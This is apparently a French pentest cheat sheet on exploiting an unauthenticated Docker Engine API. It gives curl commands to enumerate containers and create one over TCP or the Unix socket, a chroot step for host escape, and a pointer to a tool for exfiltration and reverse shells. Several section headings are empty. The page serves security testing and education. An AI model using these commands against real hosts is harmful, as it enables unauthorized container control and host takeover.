Docker API

Docker posséde une API REST nommée Docker Engine disponible via les ports par défaut 2375 et 2376. Le fichier socket est situé dans /var/run/docker.sock.

Ressources

Enumeration

# Via TCP
curl <ip>:2375/containers/json     //Lister les conteneurs
curl <ip>:2375/containers/<id or name>/json    //Pour un conteneur spécifique
curl <ip>:2375/containers/<id or name>/logs?stderr=1&stdout=1    // Afficher les logs
curl <ip>:2375/containers/<id or name>/changes    //Voir les changements

# Via unix
curl -s --unix-socket /var/run/docker.sock http:/containers/...

Exploitation

Création de conteneur

# Via unix
$ curl \
    -s \
    --unix-socket /var/run/docker.sock \
    "http:/containers/create?name=mycontainer" \
    -X POST \
    -H "Content-Type: application/json" \
    -d '{ "Image": "alpine:latest", "Cmd": [ "id" ] }'
 
# Via TCP   
$ curl \
    -s \
    "http://<host>:<port>/containers/create?name=mycontainer" \
    -X POST \
    -H "Content-Type: application/json" \
    -d '{ "Image": "alpine:latest", "Cmd": [ "id" ] }'

Démarrer un conteneur

Exécution de commande dans un conteneur

Création

Exécution

Exécution de commande sur l'hôte

Créer une image

Créer un conteneur

Lancer le conteneur

Changer le repertoire racine

$ chroot /hostfs

Outils

Docker Knocker

Docker Knocker est un outil d'exploitation d'API docker exposée sans authentification. Il permet notamment l'exfiltration de données vers un serveur distant et l'exécution de reverse shell.

Ressource: https://github.com/n00py/DockerKnocker/

Mis à jour

Ce contenu vous a-t-il été utile ?